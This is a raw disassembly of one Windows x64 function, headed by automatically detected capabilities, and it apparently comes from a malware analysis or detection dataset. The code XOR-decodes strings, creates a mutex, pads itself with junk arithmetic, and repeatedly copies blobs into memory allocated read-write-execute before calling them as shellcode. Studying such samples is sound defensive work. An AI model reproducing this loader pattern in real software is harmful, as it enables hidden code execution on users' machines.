Function at 0x14001d810
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push r13
push r14
push r15
mov eax, 0x16c0
call fcn.1400328c0
sub rsp, rax
movaps xmmword [rsp + 0x16b0], xmm6
movaps xmmword [rsp + 0x16a0], xmm7
movaps xmmword [rsp + 0x1690], xmm8
movaps xmmword [rsp + 0x1680], xmm9
movaps xmmword [rsp + 0x1670], xmm10
movaps xmmword [rsp + 0x1660], xmm11
movaps xmmword [rsp + 0x1650], xmm12
movaps xmmword [rsp + 0x1640], xmm13
movaps xmmword [rsp + 0x1630], xmm14
movaps xmmword [rsp + 0x1620], xmm15
mov rax, qword [0x14003f040]
xor rax, rsp
mov qword [rsp + 0x1610], rax
xor esi, esi
lea rcx, [rsp + 0x240]
call fcn.140002540
lea rdx, [rsp + 0x16d8]
lea rcx, [rsp + 0x240]
call fcn.140002550
nop
movsd xmm0, qword [0x140036b48]
movsd qword [rsp + 0x160], xmm0
mov eax, dword [0x140036b50]
mov dword [rsp + 0x168], eax
movzx eax, word [0x140036b54]
mov word [rsp + 0x16c], ax
mov edi, dword [0x14003f090]
movdqa xmm12, xmmword [0x140037310]
movdqa xmm13, xmmword [0x140037340]
movdqa xmm15, xmmword [0x1400372c0]
movdqa xmm11, xmmword [0x1400372a0]
movdqa xmm14, xmmword [0x1400372e0]
cmp byte [0x140036b55], sil
je 0x14001db41
mov r9d, esi
cmp edi, 2
jl 0x14001dacd
movdqa xmm2, xmm11
punpckldq xmm2, xmm11
movdqa xmm1, xmm11
punpckhdq xmm1, xmm11
movdqa xmm3, xmm2
pmuldq xmm3, xmm12
movdqa xmm0, xmm1
pmuldq xmm0, xmm12
shufps xmm3, xmm0, 0xdd
psrad xmm3, 3
pmuldq xmm2, xmm13
pmuldq xmm1, xmm13
shufps xmm2, xmm1, 0xdd
paddd xmm2, xmm11
psrad xmm2, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [0x1400372d0]
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm14
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm15
movdqa xmm1, xmm11
psubd xmm1, xmm0
andps xmm1, xmm14
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
psubb xmm2, xmmword [0x140037300]
movd xmm0, dword [0x140036b48]
xorps xmm2, xmm0
movd dword [rsp + 0x160], xmm2
movdqa xmm8, xmmword [0x1400372b0]
movdqa xmm2, xmm8
punpckldq xmm2, xmm8
movdqa xmm1, xmm8
punpckhdq xmm1, xmm8
movdqa xmm3, xmm2
pmuldq xmm3, xmm12
movdqa xmm0, xmm1
pmuldq xmm0, xmm12
shufps xmm3, xmm0, 0xdd
psrad xmm3, 3
pmuldq xmm2, xmm13
pmuldq xmm1, xmm13
shufps xmm2, xmm1, 0xdd
paddd xmm2, xmm8
psrad xmm2, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [0x1400372d0]
movdqa xmm2, xmm8
psubd xmm2, xmm0
andps xmm2, xmm14
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm15
movdqa xmm1, xmm8
psubd xmm1, xmm0
andps xmm1, xmm14
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
psubb xmm2, xmmword [0x140037300]
movd xmm0, dword [rsp + 0x164]
xorps xmm2, xmm0
movd dword [rsp + 0x164], xmm2
mov r9d, 8
jmp 0x14001dad6
movdqa xmm8, xmmword [0x1400372b0]
movsxd rax, r9d
lea r10, [rsp + 0x160]
add r10, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x81020409
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x7f
mov eax, 0xec1dd343
imul r9d
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x67
sub cl, r8b
lea eax, [r9 - 3]
add al, al
add cl, al
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0xe
jl 0x14001daf0
jmp 0x14001db4a
movdqa xmm8, xmmword [0x1400372b0]
lea rax, [rsp + 0x160]
mov qword [rsp + 0x48], rax
lea rcx, [rsp + 0x170]
call fcn.140002540
lea rdx, [rsp + 0x16d8]
lea rcx, [rsp + 0x170]
call fcn.140002550
nop
mov ecx, esi
mov rax, qword [0x1400418b0]
lea r12, [0x140027760]
lea r15, [0x140000000]
test rax, rax
je 0x14001dbb6
mov rdx, rsi
nop dword [rax]
cmp rax, r12
je 0x14001dbe5
inc ecx
mov edx, ecx
mov rax, qword [r15 + rcx*8 + 0x418b0]
test rax, rax
jne 0x14001dba0
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
mov r13d, 3
test rax, rax
jne 0x14001dbfd
mov r8, rsi
jmp 0x14001dc9e
mov r8, qword [r15 + rdx*8 + 0x40280]
test r8, r8
je 0x14001dbb6
mov r13d, 3
jmp 0x14001dcbf
mov rax, r12
mov rcx, r8
mov rdx, r13
nop word [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14001dc10
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140040c00]
mov qword [r15 + rax*8 + 0x418b0], r12
mov qword [r15 + rax*8 + 0x40280], r8
inc rax
mov qword [0x140040c00], rax
lea rdx, [rsp + 0x48]
lea rcx, [0x140001600]
call r8
nop
mov rcx, qword [rsp + 0x170]
xor rcx, qword [rsp + 0x178]
mov qword [rsp + 0x170], rcx
mov rax, qword [rsp + 0x180]
mov qword [rax], rcx
lea rcx, [rsp + 0x170]
call fcn.140002540
lea rdx, [rsp + 0x16d8]
lea rcx, [rsp + 0x170]
call fcn.140002550
nop
mov ecx, esi
mov rax, qword [0x140041ef0]
lea rbx, [0x140027b60]
test rax, rax
je 0x14001dd59
mov rdx, rsi
nop dword [rax]
cmp rax, rbx
je 0x14001dd48
inc ecx
mov edx, ecx
mov rax, qword [r15 + rcx*8 + 0x41ef0]
test rax, rax
jne 0x14001dd30
jmp 0x14001dd59
mov r8, qword [r15 + rdx*8 + 0x42860]
test r8, r8
jne 0x14001de3f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14001dd82
mov r8, rsi
jmp 0x14001de1e
mov rax, rbx
mov rcx, r8
mov rdx, r13
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14001dd90
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140043500]
mov qword [r15 + rax*8 + 0x41ef0], rbx
mov qword [r15 + rax*8 + 0x42860], r8
inc rax
mov qword [0x140043500], rax
lea rcx, [0x14001ad40]
call r8
nop
mov rdx, qword [rsp + 0x170]
xor rdx, qword [rsp + 0x178]
mov qword [rsp + 0x170], rdx
mov rcx, qword [rsp + 0x180]
mov qword [rcx], rdx
test al, al
je 0x14001e447
mov qword [0], rsi
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov edx, eax
lea rcx, [rsp + 0x280]
call fcn.1400254c0
mov dword [rsp + 0x150], 0xffffff9c
mov dword [rsp + 0x154], 0x64
movdqa xmm0, xmmword [0x140037320]
movups xmmword [rsp + 0x160], xmm0
mov dword [rsp + 0x40], esi
xorps xmm0, xmm0
movsd qword [rsp + 0x148], xmm0
lea rcx, [rsp + 0x60]
call fcn.140001670
mov qword [rsp + 0x50], 0x64
lea r8, [rsp + 0x50]
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x48]
call fcn.1400272a0
lea rcx, [rsp + 0x190]
call fcn.140002540
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x190], xmm1
mov qword [rsp + 0x1a0], rsi
lea rcx, [rsp + 0x60]
call fcn.1400272c0
nop
mov rcx, qword [rax]
mov qword [rax], rsi
mov qword [rsp + 0x50], rcx
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x190]
call fcn.1400253c0
nop
lea rcx, [rsp + 0x50]
call fcn.140025380
nop
lea rcx, [rsp + 0x60]
call fcn.140025380
lea rcx, [rsp + 0x60]
call fcn.140027310
nop
mov rcx, qword [rax]
mov qword [rax], rsi
mov qword [rsp + 0x50], rcx
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x190]
call fcn.1400253c0
nop
lea rcx, [rsp + 0x50]
call fcn.140025380
nop
lea rcx, [rsp + 0x60]
call fcn.140025380
lea rcx, [rsp + 0x60]
call fcn.140027340
nop
mov rcx, qword [rax]
mov qword [rax], rsi
mov qword [rsp + 0x50], rcx
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x190]
call fcn.1400253c0
nop
lea rcx, [rsp + 0x50]
call fcn.140025380
nop
lea rcx, [rsp + 0x60]
call fcn.140025380
lea rcx, [rsp + 0x60]
call fcn.140027370
nop
mov rcx, qword [rax]
mov qword [rax], rsi
mov qword [rsp + 0x50], rcx
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x190]
call fcn.1400253c0
nop
lea rcx, [rsp + 0x50]
call fcn.140025380
nop
lea rcx, [rsp + 0x60]
call fcn.140025380
lea rcx, [rsp + 0x60]
call fcn.1400273a0
nop
mov rcx, qword [rax]
mov qword [rax], rsi
mov qword [rsp + 0x50], rcx
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x190]
call fcn.1400253c0
nop
lea rcx, [rsp + 0x50]
call fcn.140025380
nop
lea rcx, [rsp + 0x60]
call fcn.140025380
lea rcx, [rsp + 0x60]
call fcn.1400273d0
nop
mov rcx, qword [rax]
mov qword [rax], rsi
mov qword [rsp + 0x50], rcx
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x190]
call fcn.1400253c0
nop
lea rcx, [rsp + 0x50]
call fcn.140025380
nop
lea rcx, [rsp + 0x60]
call fcn.140025380
lea rcx, [rsp + 0x60]
call fcn.140001670
mov rcx, rax
lea rdx, [rsp + 0x48]
call fcn.1400024e0
test al, al
jns 0x14001e431
movsd xmm7, qword [0x140037258]
movsd xmm6, qword [0x140037250]
mov esi, 0x186a0
nop dword [rax + rax]
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x150]
call fcn.1400271f0
mov rbx, qword [rsp + 0x198]
sub rbx, qword [rsp + 0x190]
sar rbx, 3
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x150]
call fcn.1400271f0
cdqe
xor edx, edx
div rbx
movsxd rcx, edx
mov rax, qword [rsp + 0x190]
mov rdi, qword [rax + rcx*8]
mov rax, qword [rdi]
mov rbx, qword [rax + 8]
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x150]
call fcn.1400271f0
mov r8d, eax
mov edx, dword [rsp + 0x40]
mov rcx, rdi
call rbx
mov dword [rsp + 0x40], eax
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x160]
call fcn.140027400
movaps xmm5, xmm0
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x160]
call fcn.140027400
movaps xmm1, xmm5
call fcn.140002390
movsd xmm1, qword [rsp + 0x148]
addsd xmm0, xmm1
movsd qword [rsp + 0x148], xmm0
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x160]
call fcn.140027400
movaps xmm1, xmm7
call sub.api_ms_win_crt_math_l1_1_0.dll_pow
movsd xmm1, qword [rsp + 0x148]
subsd xmm1, xmm0
movsd qword [rsp + 0x148], xmm1
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x160]
call fcn.140027400
call sub.api_ms_win_crt_math_l1_1_0.dll_tan
mulsd xmm0, qword [rsp + 0x148]
movsd qword [rsp + 0x148], xmm0
lea rdx, [0x14003597c]
lea rcx, [rsp + 0x200]
call fcn.1400264a0
nop
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x200]
call fcn.140002300
lea rcx, [rsp + 0x1b0]
call fcn.140002540
lea rcx, [rsp + 0x1b0]
call fcn.140025590
nop
lea rax, [rsp + 0x150]
mov qword [rsp + 0x1d0], rax
lea rax, [rsp + 0x280]
mov qword [rsp + 0x1d8], rax
movaps xmm0, xmmword [rsp + 0x1d0]
movdqa xmmword [rsp + 0x70], xmm0
lea r8, [rsp + 0x70]
mov rdx, qword [rsp + 0x1b8]
mov rcx, qword [rsp + 0x1b0]
call fcn.140027490
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x1b0]
call fcn.140002410
mov rdx, qword [rsp + 0x1b8]
mov rcx, qword [rsp + 0x1b0]
call fcn.1400274f0
mov ecx, dword [rsp + 0x40]
add ecx, eax
mov dword [rsp + 0x40], ecx
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x150]
call fcn.1400271f0
mov ebx, eax
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x150]
call fcn.1400271f0
mov r8d, ebx
mov edx, eax
call fcn.140002510
mov ecx, dword [rsp + 0x40]
add eax, ecx
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x150]
test al, 1
jne 0x14001e314
call fcn.1400271f0
mov ecx, dword [rsp + 0x40]
add eax, ecx
mov dword [rsp + 0x40], eax
jmp 0x14001e323
call fcn.1400271f0
mov ecx, dword [rsp + 0x40]
sub ecx, eax
mov dword [rsp + 0x40], ecx
mov edi, 5
nop dword [rax + rax]
xor ebx, ebx
nop dword [rax]
nop word [rax + rax]
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x150]
call fcn.1400271f0
mov ecx, dword [rsp + 0x40]
add eax, ecx
mov dword [rsp + 0x40], eax
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x160]
call fcn.140027400
movsd xmm5, qword [rsp + 0x148]
addsd xmm0, xmm5
movsd qword [rsp + 0x148], xmm0
lea rdx, [rsp + 0x280]
test bl, 1
jne 0x14001e3b1
lea rcx, [rsp + 0x150]
call fcn.1400271f0
mov ecx, dword [rsp + 0x40]
imul eax, ecx
mov dword [rsp + 0x40], eax
jmp 0x14001e3d8
movsd xmm5, qword [rsp + 0x148]
lea rcx, [rsp + 0x160]
call fcn.140027400
addsd xmm0, xmm6
divsd xmm5, xmm0
movsd qword [rsp + 0x148], xmm5
inc ebx
cmp ebx, 5
jl 0x14001e340
sub rdi, 1
jne 0x14001e330
lea rcx, [rsp + 0x1b0]
call fcn.140025530
nop
lea rcx, [rsp + 0x200]
call fcn.140026440
sub rsi, 1
jne 0x14001e0c0
lea rcx, [rsp + 0x60]
call fcn.140001670
mov rcx, rax
lea rdx, [rsp + 0x48]
call fcn.1400024e0
test al, al
js 0x14001e0b3
mov eax, dword [rsp + 0x40]
lea rcx, [rsp + 0x190]
call fcn.1400253f0
jmp 0x140024371
movsd xmm0, qword [0x140035cb8]
movsd qword [rsp + 0x160], xmm0
mov eax, dword [0x140035cc0]
mov dword [rsp + 0x168], eax
movzx eax, word [0x140035cc4]
mov word [rsp + 0x16c], ax
cmp byte [0x140035cc5], 0
je 0x14001e67f
mov r9d, esi
cmp edi, 2
jl 0x14001e616
movdqa xmm2, xmm11
punpckldq xmm2, xmm11
movdqa xmm1, xmm11
punpckhdq xmm1, xmm11
movdqa xmm3, xmm2
pmuldq xmm3, xmm12
movdqa xmm0, xmm1
pmuldq xmm0, xmm12
shufps xmm3, xmm0, 0xdd
psrad xmm3, 3
pmuldq xmm2, xmm13
pmuldq xmm1, xmm13
shufps xmm2, xmm1, 0xdd
paddd xmm2, xmm11
psrad xmm2, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [0x1400372d0]
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm14
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm15
movdqa xmm1, xmm11
psubd xmm1, xmm0
andps xmm1, xmm14
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
mov eax, dword [0x140037300]
movd xmm0, eax
psubb xmm2, xmm0
movd xmm0, dword [0x140035cb8]
xorps xmm2, xmm0
movd dword [rsp + 0x160], xmm2
movdqa xmm2, xmm8
punpckldq xmm2, xmm8
movdqa xmm1, xmm8
punpckhdq xmm1, xmm8
movdqa xmm3, xmm2
pmuldq xmm3, xmm12
movdqa xmm0, xmm1
pmuldq xmm0, xmm12
shufps xmm3, xmm0, 0xdd
psrad xmm3, 3
pmuldq xmm2, xmm13
pmuldq xmm1, xmm13
shufps xmm2, xmm1, 0xdd
paddd xmm2, xmm8
psrad xmm2, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [0x1400372d0]
movdqa xmm2, xmm8
psubd xmm2, xmm0
andps xmm2, xmm14
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm15
movdqa xmm1, xmm8
psubd xmm1, xmm0
andps xmm1, xmm14
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd xmm0, eax
psubb xmm2, xmm0
movd xmm1, dword [rsp + 0x164]
xorps xmm2, xmm1
movd dword [rsp + 0x164], xmm2
mov r9d, 8
movsxd rax, r9d
lea r10, [rsp + 0x160]
add r10, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x81020409
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x7f
mov eax, 0xec1dd343
imul r9d
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x67
sub cl, r8b
lea eax, [r9 - 3]
add al, al
add cl, al
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0xe
jl 0x14001e630
lea r8, [0x140043eb0]
lea rdx, [rsp + 0x160]
lea rcx, [rsp + 0x220]
call fcn.140027a00
mov rcx, rax
call fcn.140026260
mov r8, rax
mov edx, 1
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
lea rcx, [rsp + 0x220]
call fcn.140026440
movups xmm0, xmmword [0x140036f98]
movups xmmword [rsp + 0x1d0], xmm0
movzx eax, byte [0x140036fa8]
mov byte [rsp + 0x1e0], al
mov r9d, esi
movdqa xmm6, xmmword [0x140037300]
movdqa xmm7, xmmword [0x1400372d0]
cmp edi, 2
jl 0x14001e898
movdqa xmmword [rsp + 0x160], xmm6
lea rcx, [rsp + 0x1d4]
mov edx, dword [rsp + 0x160]
movd xmm4, r9d
pshufd xmm4, xmm4, 0
paddd xmm4, xmm11
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm12
movdqa xmm0, xmm1
pmuldq xmm0, xmm12
shufps xmm3, xmm0, 0xdd
psrad xmm3, 3
pmuldq xmm2, xmm13
pmuldq xmm1, xmm13
shufps xmm2, xmm1, 0xdd
paddd xmm2, xmm4
psrad xmm2, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm7
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm14
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm15
psubd xmm4, xmm0
andps xmm4, xmm14
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
psubb xmm1, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm1, xmm0
movd dword [rcx - 4], xmm1
lea eax, [r9 + 4]
movd xmm4, eax
pshufd xmm4, xmm4, 0
paddd xmm4, xmm11
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm12
movdqa xmm0, xmm1
pmuldq xmm0, xmm12
shufps xmm3, xmm0, 0xdd
psrad xmm3, 3
pmuldq xmm2, xmm13
pmuldq xmm1, xmm13
shufps xmm2, xmm1, 0xdd
paddd xmm2, xmm4
psrad xmm2, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm7
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm14
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm15
psubd xmm4, xmm0
andps xmm4, xmm14
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
psubb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
movd dword [rcx], xmm1
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x10
jl 0x14001e711
cmp r9d, 0x11
jge 0x14001e8ff
movsxd rax, r9d
lea r10, [rsp + 0x1d0]
add r10, rax
nop word [rax + rax]
mov eax, 0x81020409
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x7f
mov eax, 0xec1dd343
imul r9d
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x67
sub cl, r8b
lea eax, [r9 - 3]
add al, al
add cl, al
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x11
jl 0x14001e8b0
lea rax, [rsp + 0x1d0]
mov qword [rsp + 0x60], rax
lea rcx, [rsp + 0x170]
call fcn.140002540
lea rdx, [rsp + 0x16d8]
lea rcx, [rsp + 0x170]
call fcn.140002550
nop
mov ecx, esi
mov rax, qword [0x1400418b0]
test rax, rax
je 0x14001e969
mov rdx, rsi
cmp rax, r12
je 0x14001e958
inc ecx
mov edx, ecx
mov rax, qword [r15 + rcx*8 + 0x418b0]
test rax, rax
jne 0x14001e940
jmp 0x14001e969
mov r8, qword [r15 + rdx*8 + 0x40280]
test r8, r8
jne 0x14001ea4f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14001e992
mov r8, rsi
jmp 0x14001ea2e
mov rax, r12
mov rcx, r8
mov rdx, r13
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14001e9a0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140040c00]
mov qword [r15 + rax*8 + 0x418b0], r12
mov qword [r15 + rax*8 + 0x40280], r8
inc rax
mov qword [0x140040c00], rax
lea rdx, [rsp + 0x60]
lea rcx, [0x140001600]
call r8
nop
mov rcx, qword [rsp + 0x170]
xor rcx, qword [rsp + 0x178]
mov qword [rsp + 0x170], rcx
mov rax, qword [rsp + 0x180]
mov qword [rax], rcx
lea rcx, [rsp + 0x170]
call fcn.140002540
lea rdx, [rsp + 0x16d8]
lea rcx, [rsp + 0x170]
call fcn.140002550
nop
mov ecx, esi
mov rax, qword [0x140041bd0]
lea rbx, [0x140027b60]
test rax, rax
je 0x14001eae9
mov rdx, rsi
nop dword [rax]
cmp rax, rbx
je 0x14001ead8
inc ecx
mov edx, ecx
mov rax, qword [r15 + rcx*8 + 0x41bd0]
test rax, rax
jne 0x14001eac0
jmp 0x14001eae9
mov r8, qword [r15 + rdx*8 + 0x3ff50]
test r8, r8
jne 0x14001ebcf
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14001eb12
mov r8, rsi
jmp 0x14001ebae
mov rax, rbx
mov rcx, r8
mov rdx, r13
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14001eb20
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
